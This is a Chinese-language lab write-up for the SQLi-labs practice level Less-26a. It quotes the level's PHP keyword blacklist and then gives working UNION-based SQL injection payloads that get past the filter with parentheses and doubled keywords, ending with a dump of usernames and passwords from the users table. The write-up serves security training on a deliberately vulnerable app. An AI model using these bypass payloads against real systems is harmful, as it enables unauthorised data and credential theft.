SQLI-LAPS 实验记录
Less-26a
这一关与上一关类似,但闭合方式不同,增加了'),那么过关方式就可以结合上一关的技巧,以()应对空格,以双写绕过的方式应对'and','or'字符过滤。

php
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
php
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:
php
0') union(select(1),(2),(3));%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。
这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。
后续查找数据库库名、表名、列名及其他数据的Payload分别如下:
-
查找数据库名:
php0') union(select(1),(2),(database()));%00
-
查找表名:
php0') union(select(1),(2),(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'));%00
-
查找列名:
php0') union(select(1),(2),(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'));%00
查找其他数据:
php0') union(select(1),(2),(select(concat(username,':',passwoorrd))from(security.users)where(id=1)));%00
这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......